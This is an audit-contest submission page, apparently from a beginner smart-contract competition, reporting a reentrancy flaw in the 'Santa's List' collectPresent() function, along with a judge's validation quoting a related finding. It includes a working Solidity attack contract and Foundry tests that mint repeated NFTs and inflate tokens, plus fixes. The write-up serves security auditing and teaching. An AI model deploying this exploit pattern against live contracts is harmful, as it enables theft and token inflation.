Santa's List
AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Title: Reentrancy in `collectPresent()` Allows Multiple Claims by One Address

jfornells

[H] Reentrant collectPresent() + Missing one-time claim tracking enables infinite/looped minting

Description

  • Normal behavior: each eligible address should claim only one present from collectPresent().

  • Issue: claim eligibility is enforced with balanceOf(msg.sender) > 0, but this is not a permanent claim marker. During
    _safeMint, the receiver callback can transfer out the NFT and re-enter collectPresent() while balanceOf(msg.sender) is
    back to 0.

// Root cause in the codebase with @> marks to highlight the relevant section
​
@> function collectPresent() external {
@> ...
@> if (balanceOf(msg.sender) > 0) {
@> revert SantasList__AlreadyCollected();
@> }
@> if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
@> _mintAndIncrement(); // external callback via _safeMint path
@> return;
@> } else if (...) {
@> _mintAndIncrement();
@> i_santaToken.mint(msg.sender); // extra inflation for EXTRA_NICE path
@> return;
@> }
@> revert SantasList__NotNice();
@> }

Risk

Likelihood: High

  • Any eligible contract wallet can implement onERC721Received and re-enter in the mint callback.

  • The attack flow is straightforward and repeatable in a single transaction.

Impact: High

  • A single eligible address can farm multiple NFTs in one transaction via reentrancy, bypassing the intended one-claim-per-user
    rule.

  • In the EXTRA_NICE path, the same reentrancy loop repeatedly mints SantaToken, causing direct token inflation (10e18 in
    the PoC).

Proof of Concept

The attack contract re-enters from onERC721Received, transfers minted NFTs away, and repeatedly calls collectPresent() again so
balanceOf(attacker) stays 0 at each re-entry.

interface ISantaList {
function collectPresent() external;
function totalSupply() external view returns (uint256);
}
​
contract ReentrancyAttack {
address public santaList;
address public friend;
​
constructor(address _santaList, address _friend) {
santaList = _santaList;
friend = _friend;
}
​
// Entry point of the attack: starts the first collectPresent() call
function claim() public {
ISantaList(santaList).collectPresent();
}
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Move the freshly minted NFT out of the attacker contract immediately
// so balanceOf(address(this)) returns to 0
IERC721(santaList).transferFrom(address(this), friend, tokenId);
​
// Re-enter collectPresent() while the contract still passes the
// "AlreadyCollected" check based on balanceOf(msg.sender) > 0
if (IERC721(santaList).balanceOf(friend) < 10) {
claim();
}
​
return IERC721Receiver.onERC721Received.selector;
}
}
​
​
```solidity
function test_Reentrancy_Attack() public {
address friend = makeAddr("friend");
ReentrancyAttack attack = new ReentrancyAttack(address(santasList), friend);
​
// Santa marks the attacker as EXTRA_NICE (eligible for NFT + SantaToken)
vm.startPrank(santa);
santasList.checkList(address(attack), SantasList.Status.EXTRA_NICE);
santasList.checkTwice(address(attack), SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
// Advance time to bypass the Christmas time restriction
vm.warp(block.timestamp + 1_703_480_381);
​
// A single call initiates the reentrancy and multiplies claims
attack.claim();
​
// The attacker successfully mints multiple NFTs to the friend
assertEq(santasList.balanceOf(friend), 10);
​
// And also inflates SantaToken by repeating the EXTRA_NICE branch
assertEq(santaToken.balanceOf(address(attack)), 10e18);
}

Recommended Mitigation

Use a dedicated one-time claim state (s_hasCollected) and set it before any external interaction. Also add nonReentrant defense-
in-depth.

+ mapping(address => bool) private s_hasCollected;
​
- function collectPresent() external {
+ function collectPresent() external nonReentrant {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_hasCollected[msg.sender]) {
revert SantasList__AlreadyCollected();
}
​
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ s_hasCollected[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ s_hasCollected[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!